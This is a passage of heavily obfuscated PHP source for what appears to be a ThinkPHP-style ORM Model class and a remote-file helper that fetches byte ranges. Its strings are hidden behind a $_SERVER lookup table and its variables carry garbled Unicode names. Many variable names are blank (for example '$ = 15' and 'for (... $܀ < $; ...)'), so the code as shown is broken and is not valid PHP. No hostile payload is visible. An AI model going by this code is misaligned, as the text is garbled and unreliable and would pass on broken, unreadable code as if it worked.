/ $); $ܦ = $[12]; $֫ = timeFloat(); $ = 15; for ($܀ = 0; $܀ < $; $܀++) { if (timeFloat() - $֫ > $) { return !1; } $̤ = $this->fileSubstr($̏Ȳ, $久 * $܀, $); if (!$̤) { return !1; } $ܦ .= $̤; } $ܦ .= $this->fileSubstr($̏Ȳ, $܎ - $, $); return md5($ܦ) . $܎; } public function getContent($) { return $this->fileSubstr($); } public function fileSubstr($Ѐ, $‹ = 0, $ɛ = -1) { $֔ =& $_SERVER[砐]; $ = $this->info($Ѐ); if (!$ || !$[$֔[218]] && $[$֔[78]] > 1024 * 1024 * 10) { return !1; } if ($ɛ === -1) { $ɛ = $[$֔[78]]; } if ($ɛ == 0) { return $֔[12]; } $ = array($֔[1541] . $‹ . $֔[827] . ($‹ + $ɛ - 1)); $֨ = url_request($Ѐ, $֔[247], !1, $, !1, !1, 30); return $֨[$֔[1253]] ? $֨[$֔[1253]] : $֔[12]; } public function download($ԍ˫, $ԓݦ) { Downloader::start($ԍ˫, $ԓݦ); return $ԓݦ; } } goto a뿣ރ; Cɷ: class Model extends ClassBaseCall { private $_extModel = null; protected $db = null; protected $pk = "\x69\144"; protected $tablePrefix = ''; protected $name = ''; protected $dbName = ''; protected $connection = ''; protected $tableName = ''; protected $trueTableName = ''; protected $error = ''; protected $fields = array(); protected $data = array(); protected $options = array(); protected $_validate = array(); protected $_auto = array(); protected $_map = array(); protected $_scope = array(); protected $autoCheckFields = true; protected $patchValidate = false; protected $methods = array("\164\141\x62\154\145", "\157\x72\144\145\162", "\x61\154\151\x61\x73", "\150\141\166\x69\156\147", "\147\162\x6f\x75\160", "\154\157\x63\x6b", "\x64\x69\x73\164\x69\x6e\x63\x74", "\141\165\x74\x6f", "\x66\151\x6c\164\x65\162", "\x76\141\x6c\x69\144\x61\x74\145", "\162\145\163\165\x6c\x74", "\142\151\156\x64", "\x74\x6f\153\x65\156"); public function __construct($ј = '', $؛ = '', $嚻 = '') { $ =& $_SERVER[砐]; $this->_initialize(); if (!empty($ј)) { if (strpos($ј, $[10])) { list($this->dbName, $this->name) = explode($[10], $ј); } else { $this->name = $ј; } } elseif (empty($this->name)) { $this->name = $this->getModelName(); } if (is_null($؛)) { $this->tablePrefix = $[12]; } elseif ($[12] != $؛) { $this->tablePrefix = $؛; } else { $this->tablePrefix = $this->tablePrefix ? $this->tablePrefix : think_config($[290]); } $this->db(0, empty($this->connection) ? $嚻 : $this->connection); $this->_classObjectID = mt_rand(0, 10000); } protected function _checkTableInfo() { $ԋ =& $_SERVER[砐]; if (empty($this->fields)) { if (think_config($ԋ[291])) { $Ӟ = $this->dbName ? $this->dbName : think_config($ԋ[292]); $壓 = think_var_cache($ԋ[293] . strtolower(get_path_this($Ӟ) . $ԋ[10] . $this->name)); if ($壓) { $ע = think_config($ԋ[294]); if (empty($ע) || $壓[$ԋ[295]] == $ע) { $this->fields = $壓; return; } } } $this->flush(); } } public function flush() { $ =& $_SERVER[砐]; $this->db->setModel($this->name); $¦ = $this->db->getFields($this->getTableName()); if (!$¦) { return !1; } $this->fields = array_keys($¦); $this->fields[$[296]] = !1; foreach ($¦ as $ => $ÿ) { $[$] = $ÿ[$[33]]; if ($ÿ[$[39]]) { $this->fields[$[297]] = $; if ($ÿ[$[42]]) { $this->fields[$[296]] = !0; } } } $this->fields[$[298]] = $; if (think_config($[294])) { $this->fields[$[295]] = think_config($[294]); } if (think_config($[291])) { $㢛 = $this->dbName ? $this->dbName : think_config($[292]); think_var_cache($[293] . strtolower(get_path_this($㢛) . $[10] . $this->name), $this->fields); } } public function switchModel($, $ۑѠ = array()) { $ߡ =& $_SERVER[砐]; $ = ucwords(strtolower($)) . $ߡ[299]; if (!class_exists($)) { think_exception($ . think_lang($ߡ[300])); } $this->_extModel = new $($this->name); if (!empty($ۑѠ)) { foreach ($ۑѠ as $噿) { $this->_extModel->setProperty($噿, $this->{$噿}); } } return $this->_extModel; } public function __set($ȴ, $) { $this->data[$ȴ] = $; } public function __get($ӧ) { return isset($this->data[$ӧ]) ? $this->data[$ӧ] : null; } public function __isset($) { return isset($this->data[$]); } public function __unset($Ք) { unset($this->data[$Ք]); } public function __call($ұ, $ɜ) { $ =& $_SERVER[砐]; if (in_array(strtolower($ұ), $this->methods, !0)) { $this->options[strtolower($ұ)] = $ɜ[0]; return $this; } elseif (in_array(strtolower($ұ), array($[301], $[302], $[303], $[304], $[305]), !0)) { $‘ = isset($ɜ[0]) ? $ɜ[0] : $[205]; $‘ = $this->db->parseKey($‘); return $this->getField(strtoupper($ұ) . $[306] . $‘ . $[307] . $ұ, $[301]); } elseif (strtolower(substr($ұ, 0, 5)) == $[308]) { $‘ = think_parse_name(substr($ұ, 5)); $֛[$‘] = $ɜ[0]; return $this->where($֛)->find(); } elseif (strtolower(substr($ұ, 0, 10)) == $[309]) { $ = think_parse_name(substr($ұ, 10)); $֛[$] = $ɜ[0]; return $this->where($֛)->getField($ɜ[1]); } elseif (isset($this->_scope[$ұ])) { return $this->scope($ұ, $ɜ[0]); } elseif (method_exists($this, $ұ)) { array_unshift($ɜ, $ұ); return call_user_func_array(array($this, $[310]), $ɜ); } else { return call_user_func_array(array(parent, $ұ), $ɜ); } } protected function call() { $ɗ =& $_SERVER[砐]; $̗ = func_get_args(); $ĥ = array_shift($̗); $ˊ = $ĥ; if (is_array($ĥ)) { $ˊ = $ĥ[1]; $ĥ = $ĥ[0]; } $ = count($̗) - 1; if (isset($̗[$]) && $̗[$] === $ĥ) { think_exception(__CLASS__ . $ɗ[4] . $ĥ . think_lang($ɗ[311])); return; } $̗[] = $ĥ; if (method_exists($this, $ɗ[312])) { $ݶ = call_user_func_array(array($this, $ɗ[313]), array($ˊ, $̗)); if (!is_null($ݶ) && $ݶ !== !1) { return $ݶ; } } $嶨 = call_user_func_array(array($this, $ĥ), $̗); if (method_exists($this, $ɗ[314])) { $ݶ = call_user_func_array(array($this, $ɗ[315]), array($ˊ, $̗, $嶨)); if ($ݶ) { return $ݶ; } } return $嶨; } protected function _initialize() { } protected function _facade($˗ú) { $ =& $_SERVER[砐]; if (!empty($this->fields)) { foreach ($˗ú as $ => $ڨ) { if (is_array($this->fields) && !in_array($, $this->fields, !0)) { unset($˗ú[$]); } elseif (is_scalar($ڨ)) { $this->_parseType($˗ú, $); } } } if (!empty($this->options[$[316]])) { $˗ú = array_map($this->options[$[316]], $˗ú); unset($this->options[$[316]]); } $this->_beforeWrite($˗ú); return $˗ú; } protected function _beforeWrite(&$) { } public function add($ܬ = '', $Ҧ䎆 = array(), $ = false) { if (empty($ܬ)) { if (!empty($this->data)) { $ܬ = $this->data; $this->data = array(); } else { $this->error = think_lang($_SERVER[砐][317]); return !1; } } $Ҧ䎆 = $this->_parseOptions($Ҧ䎆); $ܬ = $this->_facade($ܬ); if (!1 === $this->_beforeInsert($ܬ, $Ҧ䎆)) { return !1; } $̘ = $this->db->insert($ܬ, $Ҧ䎆, $); if (!1 !== $̘) { $ = $this->getLastInsID(); if ($) { $ܬ[$this->getPk()] = $; $this->_after_insert($ܬ, $Ҧ䎆); return $; } $this->_after_insert($ܬ, $Ҧ䎆); } return $̘; } protected function _beforeInsert(&$ҫϢ, $×Ǹ) { } protected function _after_insert($Ъ, $¡) { } public function addAll($۝, $݆ = array(), $ = false) { $ =& $_SERVER[砐]; if (empty($۝)) { $this->error = think_lang($[317]); return !1; } $݆ = $this->_parseOptions($݆); foreach ($۝ as $ت => $) { $۝[$ت] = $this->_facade($); } if (method_exists($this->db, $[318])) { $ = $this->db->insertAll($۝, $݆, $); } else { $this->startTrans(); foreach ($۝ as $ت => $) { $ = $this->db->insert($, $݆, $); } $this->commit(); } if (!1 !== $) { $޴ = $this->getLastInsID(); if ($޴) { return $޴; } } return $; } public function selectAdd($ȗ = '', $𔐻 = '', $ = array()) { $ɬ =& $_SERVER[砐]; $ = $this->_parseOptions($); if (!1 === ($ = $this->db->selectInsert($ȗ ? $ȗ : $[$ɬ[319]], $𔐻 ? $𔐻 : $this->getTableName(), $))) { $this->error = think_lang($ɬ[320]); return !1; } else { return $; } } public function save($Ȼ = '', $ݐԒ = array()) { $س =& $_SERVER[砐]; if (empty($Ȼ)) { if (!empty($this->data)) { $Ȼ = $this->data; $this->data = array(); } else { $this->error = think_lang($س[317]); return !1; } } $Ȼ = $this->_facade($Ȼ); $ݐԒ = $this->_parseOptions($ݐԒ); $ = $this->getPk(); if (!isset($ݐԒ[$س[321]])) { if (isset($Ȼ[$])) { $Ú[$] = $Ȼ[$]; $ݐԒ[$س[321]] = $Ú; unset($Ȼ[$]); } else { $this->error = think_lang($س[320]); return !1; } } if (is_array($ݐԒ[$س[321]]) && isset($ݐԒ[$س[321]][$])) { $ = $ݐԒ[$س[321]][$]; } if (!1 === $this->_beforeUpdate($Ȼ, $ݐԒ)) { return !1; } $ǿ = $this->db->update($Ȼ, $ݐԒ); if (!1 !== $ǿ) { if (isset($)) { $Ȼ[$] = $; } $this->_afterUpdate($Ȼ, $ݐԒ); } return $ǿ; } protected function _beforeUpdate(&$, $Ġ) { } protected function _afterUpdate($, $) { } public function delete($ = array()) { $ʬº =& $_SERVER[砐]; if (empty($) && empty($this->options[$ʬº[321]])) { if (!empty($this->data) && isset($this->data[$this->getPk()])) { return $this->delete($this->data[$this->getPk()]); } else { return !1; } } $ = $this->getPk(); if (is_numeric($) || is_string($)) { if (strpos($, $ʬº[50])) { $[$] = array($ʬº[322], $); } else { $[$] = $; } $this->options[$ʬº[321]] = $; } $ = $this->_parseOptions(); if (is_array($[$ʬº[321]]) && isset($[$ʬº[321]][$])) { $ = $[$ʬº[321]][$]; } $ = $this->db->delete($); if (!1 !== $) { $Ŏˌ = array(); if (isset($)) { $Ŏˌ[$] = $; } $this->_after_delete($Ŏˌ, $); } return $; } protected function _after_delete($ڒ, $ַ) { } public function select($҆ = array()) { $· =& $_SERVER[砐]; if (is_string($҆) || is_numeric($҆)) { $Ԗǒ = $this->getPk(); if (strpos($҆, $·[50])) { $[$Ԗǒ] = array($·[322], $҆); } else { $[$Ԗǒ] = $҆; } $this->options[$·[321]] = $; } elseif (!1 === $҆) { $҆ = $this->_parseOptions(); return $·[323] . $this->db->buildSelectSql($҆) . $·[324]; } $҆ = $this->_parseOptions(); $ = $this->db->select($҆); if (!1 === $) { return !1; } if (empty($)) { return null; } $this->_afterSelect($, $҆); return $; } protected function _afterSelect(&$ˮ, $榆) { } public function buildSql($ = array()) { $Ǭ =& $_SERVER[砐]; $ = $this->_parseOptions($); return $Ǭ[323] . $this->db->buildSelectSql($) . $Ǭ[324]; } public function optionsValue($ÿ = null) { if (is_null($ÿ)) { return $this->options; } elseif (is_array($ÿ)) { $this->options = array_merge($this->options, $ÿ); } } protected function _parseOptions($ݷ = array()) { $Џ =& $_SERVER[砐]; if (is_array($ݷ)) { $ݷ = array_merge($this->options, $ݷ); } $this->options = array(); if (!isset($ݷ[$Џ[325]])) { $ݷ[$Џ[325]] = $this->getTableName(); $ښ = $this->fields; } else { $ښ = $this->getDbFields(); } if (!empty($ݷ[$Џ[326]])) { $ݷ[$Џ[325]] .= $Џ[53] . $ݷ[$Џ[326]]; } $ݷ[$Џ[327]] = $this->name; if (isset($ݷ[$Џ[321]]) && is_array($ݷ[$Џ[321]]) && !empty($ښ) && !isset($ݷ[$Џ[328]]) && !isset($ݷ[$Џ[325]])) { foreach ($ݷ[$Џ[321]] as $ەٚ => $) { $ەٚ = trim($ەٚ); if (in_array($ەٚ, $ښ, !0)) { if (is_scalar($)) { $this->_parseType($ݷ[$Џ[321]], $ەٚ); } } elseif (!is_numeric($ەٚ) && $Џ[11] != substr($ەٚ, 0, 1) && !1 === strpos($ەٚ, $Џ[10]) && !1 === strpos($ەٚ, $Џ[306]) && !1 === strpos($ەٚ, $Џ[329]) && !1 === strpos($ەٚ, $Џ[330])) { unset($ݷ[$Џ[321]][$ەٚ]); } } } $this->_options_filter($ݷ); return $ݷ; } protected function _options_filter(&$؏) { } protected function _parseType(&$Һ, $੶) { $㴳 =& $_SERVER[砐]; if (empty($this->options[$㴳[331]][$㴳[4] . $੶])) { $Ҁ = strtolower($this->fields[$㴳[298]][$੶]); if (!1 !== strpos($Ҁ, $㴳[332])) { } elseif (!1 === strpos($Ҁ, $㴳[333]) && !1 !== strpos($Ҁ, $㴳[334])) { $Һ[$੶] = intval($Һ[$੶]); } elseif (!1 !== strpos($Ҁ, $㴳[335]) || !1 !== strpos($Ҁ, $㴳[336])) { $Һ[$੶] = floatval($Һ[$੶]); } elseif (!1 !== strpos($Ҁ, $㴳[337])) { $Һ[$੶] = (bool) $Һ[$੶]; } } } public function find($򬥢 = array()) { $ =& $_SERVER[砐]; if (is_numeric($򬥢) || is_string($򬥢)) { $広[$this->getPk()] = intval($򬥢); $this->options[$[321]] = $広; } $this->options[$[338]] = 1; $򬥢 = $this->_parseOptions(); $׆ = $this->db->select($򬥢); if (!1 === $׆) { return !1; } if (empty($׆)) { return null; } $this->data = $׆[0]; $this->_afterFind($this->data, $򬥢); if (!empty($this->options[$[339]])) { return $this->returnResult($this->data, $this->options[$[339]]); } return $this->data; } protected function _afterFind(&$ώų, $ِ) { } protected function returnResult($ٺ, $ = '') { $旭 =& $_SERVER[砐]; if ($) { if (is_callable($)) { return call_user_func($, $ٺ); } switch (strtolower($)) { case $旭[340]: return json_encode($ٺ); case $旭[341]: return xml_encode($ٺ); } } return $ٺ; } public function parseFieldsMap($۱, $ƶש = 1) { if (!empty($this->_map)) { foreach ($this->_map as $΅ => $) { if ($ƶש == 1) { if (isset($۱[$])) { $۱[$΅] = $۱[$]; unset($۱[$]); } } else { if (isset($۱[$΅])) { $۱[$] = $۱[$΅]; unset($۱[$΅]); } } } } return $۱; } public function setField($۠, $ = '') { if (is_array($۠)) { $ʹ = $۠; } else { $ʹ[$۠] = $; } return $this->save($ʹ); } public function setAdd($, $ = 1) { $ =& $_SERVER[砐]; $ݹ = $ . $[342] . $; if ($ < 0) { $ݹ = $ . $; } return $this->setField($, array($[343], $ݹ)); } public function getField($, $р = null) { $怴 =& $_SERVER[砐]; $ݔ[$怴[319]] = $; $ݔ = $this->_parseOptions($ݔ); $ = trim($); if (strpos($, $怴[50])) { if (!isset($ݔ[$怴[338]])) { $ݔ[$怴[338]] = is_numeric($р) ? $р : $怴[12]; } $Ϲ = $this->db->select($ݔ); if (!empty($Ϲ)) { $ȉۊ = explode($怴[50], $); $ = array_keys($Ϲ[0]); $ʋ̨ = array_shift($); $ыѼѱ = array_shift($); $ = array(); $Ѽ = count($ȉۊ); foreach ($Ϲ as $) { $͟ = $[$ʋ̨]; if (2 == $Ѽ) { $[$͟] = $[$ыѼѱ]; } else { $[$͟] = is_string($р) ? implode($р, $) : $; } } return $; } } else { if (!0 !== $р) { $ݔ[$怴[338]] = is_numeric($р) ? $р : 1; } if ($р === $怴[301]) { unset($ݔ[$怴[338]]); } $ = $this->db->select($ݔ); if (!empty($)) { if ($р === $怴[301]) { return reset($[0]); } if (!0 !== $р && 1 == $ݔ[$怴[338]]) { return reset($[0]); } foreach ($ as $ь) { $হ[] = $ь[$]; } return $হ; } } return null; } public function create($떘 = '', $񚻹 = '') { $ =& $_SERVER[砐]; if (empty($떘)) { $떘 = $_POST; } elseif (is_object($떘)) { $떘 = get_object_vars($떘); } if (empty($떘) || !is_array($떘)) { $this->error = think_lang($[317]); return !1; } $떘 = $this->parseFieldsMap($떘, 0); $񚻹 = $񚻹 ? $񚻹 : (!empty($떘[$this->getPk()]) ? THINK_MODEL_UPDATE : THINK_MODEL_INSERT); if (isset($this->options[$[319]])) { $ = $this->options[$[319]]; unset($this->options[$[319]]); } elseif ($񚻹 == THINK_MODEL_INSERT && isset($this->insertFields)) { $ = $this->insertFields; } elseif ($񚻹 == THINK_MODEL_UPDATE && isset($this->updateFields)) { $ = $this->updateFields; } if (isset($)) { if (is_string($)) { $ = explode($[50], $); } if (think_config($[344])) { $[] = think_config($[345]); } foreach ($떘 as $׿쌺 => $ɜ) { if (!in_array($׿쌺, $)) { unset($떘[$׿쌺]); } } } if (!$this->autoValidation($떘, $񚻹)) { return !1; } if (!$this->autoCheckToken($떘)) { $this->error = think_lang($[346]); return !1; } if ($this->autoCheckFields) { $ = $this->getDbFields(); foreach ($떘 as $׿쌺 => $ɜ) { if (!in_array($׿쌺, $)) { unset($떘[$׿쌺]); } elseif (MAGIC_QUOTES_GPC && is_string($ɜ)) { $떘[$׿쌺] = stripslashes($ɜ); } } } $this->autoOperation($떘, $񚻹); $this->data = $떘; return $떘; } public function autoCheckToken($) { $ =& $_SERVER[砐]; if (isset($this->options[$[347]]) && !$this->options[$[347]]) { return !0; } if (think_config($[344])) { $ɯ = think_config($[345]); if (!isset($[$ɯ]) || Session::get($ɯ)) { return !1; } list($“, $) = explode($[11], $[$ɯ]); if ($ && Session::get($ɯ . $[10] . $“) === $) { Session::remove($ɯ . $[10] . $“); return !0; } if (think_config($[348])) { Session::remove($ɯ . $[10] . $“); } return !1; } return !0; } public function regex($†, $˱) { $ի =& $_SERVER[砐]; $Ȱ = array($ի[349] => $ի[350], $ի[351] => $ի[352], $ի[353] => $ի[354], $ի[355] => $ի[356], $ի[357] => $ի[358], $ի[359] => $ի[360], $ի[361] => $ի[362], $ի[336] => $ի[363], $ի[364] => $ի[365]); if (isset($Ȱ[strtolower($˱)])) { $˱ = $Ȱ[strtolower($˱)]; } return preg_match($˱, $†) === 1; } private function autoOperation(&$ǟ, $䄨) { $݉Ф =& $_SERVER[砐]; if (!empty($this->options[$݉Ф[366]])) { $ϔ = $this->options[$݉Ф[366]]; unset($this->options[$݉Ф[366]]); } elseif (!empty($this->_auto)) { $ϔ = $this->_auto; } if (isset($ϔ)) { foreach ($ϔ as $ū) { if (empty($ū[2])) { $ū[2] = THINK_MODEL_INSERT; } if ($䄨 == $ū[2] || $ū[2] == THINK_MODEL_BOTH) { switch (trim($ū[3])) { case $݉Ф[367]: case $݉Ф[368]: $鱯 = isset($ū[4]) ? (array) $ū[4] : array(); if (isset($ǟ[$ū[0]])) { array_unshift($鱯, $ǟ[$ū[0]]); } if ($݉Ф[367] == $ū[3]) { $ǟ[$ū[0]] = call_user_func_array($ū[1], $鱯); } else { $ǟ[$ū[0]] = call_user_func_array(array(&$this, $ū[1]), $鱯); } break; case $݉Ф[319]: $ǟ[$ū[0]] = $ǟ[$ū[1]]; break; case $݉Ф[369]: if ($݉Ф[12] === $ǟ[$ū[0]]) { unset($ǟ[$ū[0]]); } break; case $݉Ф[370]: default: $ǟ[$ū[0]] = $ū[1]; } if (!1 === $ǟ[$ū[0]]) { unset($ǟ[$ū[0]]); } } } } return $ǟ; } protected function autoValidation($û, $) { $ĥ =& $_SERVER[砐]; if (!empty($this->options[$ĥ[371]])) { $‡ = $this->options[$ĥ[371]]; unset($this->options[$ĥ[371]]); } elseif (!empty($this->_validate)) { $‡ = $this->_validate; } if (isset($‡)) { if ($this->patchValidate) { $this->error = array(); } foreach ($‡ as $˥ => $Ըك) { if (empty($Ըك[5]) || $Ըك[5] == THINK_MODEL_BOTH || $Ըك[5] == $) { if (0 == strpos($Ըك[2], $ĥ[372]) && strpos($Ըك[2], $ĥ[373])) { $Ըك[2] = think_lang(substr($Ըك[2], 2, -1)); } $Ըك[3] = isset($Ըك[3]) ? $Ըك[3] : THINK_EXISTS_VALIDATE; $Ըك[4] = isset($Ըك[4]) ? $Ըك[4] : $ĥ[374]; switch ($Ըك[3]) { case THINK_MUST_VALIDATE: if (!1 === $this->_validationField($û, $Ըك)) { return !1; } break; case THINK_VALUE_VALIDATE: if ($ĥ[12] != trim($û[$Ըك[0]])) { if (!1 === $this->_validationField($û, $Ըك)) { return !1; } } break; default: if (isset($û[$Ըك[0]])) { if (!1 === $this->_validationField($û, $Ըك)) { return !1; } } } } } if (!empty($this->error)) { return !1; } } return !0; } protected function _validationField($ه, $󺗭) { if (!1 === $this->_validationFieldItem($ه, $󺗭)) { if ($this->patchValidate) { $this->error[$󺗭[0]] = $󺗭[2]; } else { $this->error = $󺗭[2]; return !1; } } return; } protected function _validationFieldItem($, $ݍ) { $Źʉ =& $_SERVER[砐]; switch (strtolower(trim($ݍ[4]))) { case $Źʉ[367]: case $Źʉ[368]: $ = isset($ݍ[6]) ? (array) $ݍ[6] : array(); if (is_string($ݍ[0]) && strpos($ݍ[0], $Źʉ[50])) { $ݍ[0] = explode($Źʉ[50], $ݍ[0]); } if (is_array($ݍ[0])) { foreach ($ݍ[0] as $ɮ) { $Ͱ[$ɮ] = $[$ɮ]; } array_unshift($, $Ͱ); } else { array_unshift($, $[$ݍ[0]]); } if ($Źʉ[367] == $ݍ[4]) { return call_user_func_array($ݍ[1], $); } else { return call_user_func_array(array(&$this, $ݍ[1]), $); } case $Źʉ[375]: return $[$ݍ[0]] == $[$ݍ[1]]; case $Źʉ[376]: if (is_string($ݍ[0]) && strpos($ݍ[0], $Źʉ[50])) { $ݍ[0] = explode($Źʉ[50], $ݍ[0]); } $ = array(); if (is_array($ݍ[0])) { foreach ($ݍ[0] as $ɮ) { $[$ɮ] = $[$ɮ]; } } else { $[$ݍ[0]] = $[$ݍ[0]]; } if (!empty($[$this->getPk()])) { $[$this->getPk()] = array($Źʉ[377], $[$this->getPk()]); } if ($this->where($)->find()) { return !1; } return !0; default: return $this->check($[$ݍ[0]], $ݍ[1], $ݍ[4]); } } public function check($̲, $, $ = "\162\145\147\145\170") { $Þ =& $_SERVER[砐]; $ = strtolower(trim($)); switch ($) { case $Þ[7]: case $Þ[378]: $壡 = is_array($) ? $ : explode($Þ[50], $); return $ == $Þ[7] ? in_array($̲, $壡) : !in_array($̲, $壡); case $Þ[379]: case $Þ[380]: if (is_array($)) { $Ǟ = $[0]; $ = $[1]; } else { list($Ǟ, $) = explode($Þ[50], $); } return $ == $Þ[379] ? $̲ >= $Ǟ && $̲ <= $ : $̲ < $Ǟ || $̲ > $; case $Þ[381]: case $Þ[382]: return $ == $Þ[381] ? $̲ == $ : $̲ != $; case $Þ[383]: $ = mb_strlen($̲, $Þ[384]); if (strpos($, $Þ[50])) { list($Ǟ, $) = explode($Þ[50], $); return $ >= $Ǟ && $ <= $; } else { return $ == $; } case $Þ[385]: list($ג, $ƚݫ) = explode($Þ[50], $); if (!is_numeric($ג)) { $ג = strtotime($ג); } if (!is_numeric($ƚݫ)) { $ƚݫ = strtotime($ƚݫ); } return NOW_TIME >= $ג && NOW_TIME <= $ƚݫ; case $Þ[386]: return in_array(get_client_ip(), explode($Þ[50], $)); case $Þ[387]: return !in_array(get_client_ip(), explode($Þ[50], $)); case $Þ[374]: default: return $this->regex($̲, $); } } public function query($Ώ, $͘Ԕ = false) { $ =& $_SERVER[砐]; if (!is_bool($͘Ԕ) && !is_array($͘Ԕ)) { $͘Ԕ = func_get_args(); array_shift($͘Ԕ); } $Ώ = str_replace(array($[248], $[388]), $[53], $Ώ); $Ώ = $this->parseSql($Ώ, $͘Ԕ); return $this->db->query($Ώ); } public function execute($, $ = false) { if (!is_bool($) && !is_array($)) { $ = func_get_args(); array_shift($); } $ = $this->parseSql($, $); return $this->db->execute($); } protected function parseSql($, $Ж) { $ =& $_SERVER[砐]; if (!0 === $Ж) { $؅ = $this->_parseOptions(); $ = $this->db->parseSql($, $؅); } elseif (is_array($Ж)) { $Ж = array_map(array($this->db, $[389]), $Ж); $ = vsprintf($, $Ж); } else { $ = strtr($, array($[390] => $this->getTableName(), $[391] => think_config($[290]))); } $this->db->setModel($this->name); return $; } public function db($ʦ = '', $Χ = '', $⇹ = array()) { $ =& $_SERVER[砐]; if ($[12] === $ʦ && $this->db) { return $this->db; } static $ݾ = array(); static $ = array(); if (!isset($[$ʦ]) || isset($[$ʦ]) && $Χ && $ݾ[$ʦ] != $Χ) { if (!empty($Χ) && is_string($Χ) && !1 === strpos($Χ, $[8])) { $Χ = think_config($Χ); } $ʦ = think_guid($Χ); $[$ʦ] = Db::getInstance($Χ); } elseif (NULL === $Χ) { $[$ʦ]->close(); unset($[$ʦ]); return; } if (!empty($⇹)) { if (is_string($⇹)) { parse_str($⇹, $⇹); } foreach ($⇹ as $ => $) { $this->setProperty($, $); } } $ݾ[$ʦ] = $Χ; $this->db = $[$ʦ]; $this->_after_db(); if (!empty($this->name) && $this->autoCheckFields) { $this->_checkTableInfo(); } return $this; } protected function _after_db() { } public function getModelName() { if (empty($this->name)) { $򀲋 = get_class($this); if ($򀲋 == $_SERVER[砐][392]) { return $this->name; } $this->name = substr($򀲋, 0, -5); } return $this->name; } public function getTableName() { $❵ =& $_SERVER[砐]; if (empty($this->trueTableName)) { $ڑ = !empty($this->tablePrefix) ? $this->tablePrefix : $❵[12]; if (!empty($this->tableName)) { $ڑ .= $this->tableName; } else { $ڑ .= think_parse_name($this->name); } $this->trueTableName = strtolower($ڑ); } return (!empty($this->dbName) ? $this->dbName . $❵[10] : $❵[12]) . $this->trueTableName; } public function startTrans() { $this->commit(); $this->db->startTrans(); return; } public function commit() { return $this->db->commit(); } public function rollback() { return $this->db->rollback(); } public function getError() { return $this->error; } public function getDbError() { return $this->db->getError(); } public function getLastInsID() { return $this->db->getLastInsID(); } public function getLastSql() { return $this->db->getLastSql($this->name); } public function _sql() { return $this->getLastSql(); } public function getPk() { $ =& $_SERVER[砐]; return isset($this->fields[$[297]]) ? $this->fields[$[297]] : $this->pk; } public function getDbFields() { $ԓ =& $_SERVER[砐]; if (isset($this->options[$ԓ[325]])) { $ = $this->db->getFields($this->options[$ԓ[325]]); return $ ? array_keys($) : !1; } if ($this->fields) { $ = $this->fields; unset($[$ԓ[296]], $[$ԓ[297]], $[$ԓ[298]], $[$ԓ[295]]); return $; } return !1; } public function data($κ뚺 = '') { $߿ =& $_SERVER[砐]; if ($߿[12] === $κ뚺 && !empty($this->data)) { return $this->data; } if (is_object($κ뚺)) { $κ뚺 = get_object_vars($κ뚺); } elseif (is_string($κ뚺)) { parse_str($κ뚺, $κ뚺); } elseif (!is_array($κ뚺)) { think_exception(think_lang($߿[317])); } $this->data = $κ뚺; return $this; } public function join($) { $ =& $_SERVER[砐]; if (is_array($)) { $this->options[$[328]] = $; } elseif (!empty($)) { $this->options[$[328]][] = $; } return $this; } public function union($ᖌ, $͖ = false) { $궧 =& $_SERVER[砐]; if (empty($ᖌ)) { return $this; } if ($͖) { $this->options[$궧[393]][$궧[394]] = !0; } if (is_object($ᖌ)) { $ᖌ = get_object_vars($ᖌ); } if (is_string($ᖌ)) { $ = $ᖌ; } elseif (is_array($ᖌ)) { if (isset($ᖌ[0])) { $this->options[$궧[393]] = array_merge($this->options[$궧[393]], $ᖌ); return $this; } else { $ = $ᖌ; } } else { think_exception(think_lang($궧[317])); } $this->options[$궧[393]][] = $; return $this; } public function cache($ = true, $ = null, $ = '') { $ =& $_SERVER[砐]; if (!1 !== $) { $this->options[$[395]] = array($[96] => $, $[385] => $, $[33] => $); } return $this; } public function field($ɹ, $ʻ = false) { $ɏ =& $_SERVER[砐]; if (!0 === $ɹ) { $꥙ = $this->getDbFields(); $ɹ = $꥙ ? $꥙ : $ɏ[205]; } elseif ($ʻ) { if (is_string($ɹ)) { $ɹ = explode($ɏ[50], $ɹ); } $꥙ = $this->getDbFields(); $ɹ = $꥙ ? array_diff($꥙, $ɹ) : $ɹ; } $this->options[$ɏ[319]] = $ɹ; return $this; } public function scope($à = '', $ߏХ = NULL) { $Ŷ =& $_SERVER[砐]; if ($Ŷ[12] === $à) { if (isset($this->_scope[$Ŷ[37]])) { $ = $this->_scope[$Ŷ[37]]; } else { return $this; } } elseif (is_string($à)) { $轸 = explode($Ŷ[50], $à); $ = array(); foreach ($轸 as $) { if (!isset($this->_scope[$])) { continue; } $ = array_merge($, $this->_scope[$]); } if (!empty($ߏХ) && is_array($ߏХ)) { $ = array_merge($, $ߏХ); } } elseif (is_array($à)) { $ = $à; } if (is_array($) && !empty($)) { $this->options = array_merge($this->options, array_change_key_case($)); } return $this; } public function where($, $ = null) { $ =& $_SERVER[砐]; if (!is_null($) && is_string($)) { if (!is_array($)) { $ = func_get_args(); array_shift($); } $ = array_map(array($this->db, $[389]), $); $ = vsprintf($, $); } elseif (is_object($)) { $ = get_object_vars($); } elseif (is_array($)) { foreach ($ as $ => $ٹ) { if ((is_numeric($) || !$) && is_string($ٹ)) { if (strpos($ٹ, $[396]) === 0) { continue; } think_trace($[397], $[12], $[49]); die; } } } if (is_string($) && $[12] != $) { $ݞ = array(); $ݞ[$[398]] = $; $ = $ݞ; } if (isset($this->options[$[321]])) { $this->options[$[321]] = array_merge($this->options[$[321]], $); } else { $this->options[$[321]] = $; } return $this; } public function limit($, $о = null) { $ԟ =& $_SERVER[砐]; $this->options[$ԟ[338]] = is_null($о) ? $ : $ . $ԟ[50] . $о; return $this; } public function page($ڨؠ, $ކۍ = null) { $ =& $_SERVER[砐]; $this->options[$[399]] = is_null($ކۍ) ? $ڨؠ : $ڨؠ . $[50] . $ކۍ; return $this; } public function comment($ܜ) { $this->options[$_SERVER[砐][400]] = $ܜ; return $this; } public function setProperty($, $) { if (property_exists($this, $)) { $this->{$} = $; } return $this; } } class ModelBase extends Model { const SQL_WHERE_IN_CHUNK = 2000; protected $dataAuto = array(array("\155\x6f\x64\x69\146\171\x54\x69\155\145", "\x74\151\155\x65", "\151\x6e\163\145\162\164\54\165\x70\x64\x61\x74\145", "\x66\165\x6e\x63\x74\x69\157\x6e"), array("\143\162\145\141\164\145\124\151\x6d\x65", "\x74\x69\155\x65", "\151\x6e\163\x65\162\x74", "\146\165\156\x63\164\x69\157\156")); public function setDataAuto($) { $this->dataAuto = $; } public function __construct($Ê֓ = '', $ = '', $㲽 = '') { parent::__construct($Ê֓, $, $㲽); } protected $tableMeta = array(); protected function _beforeInsert(&$, $) { $ն 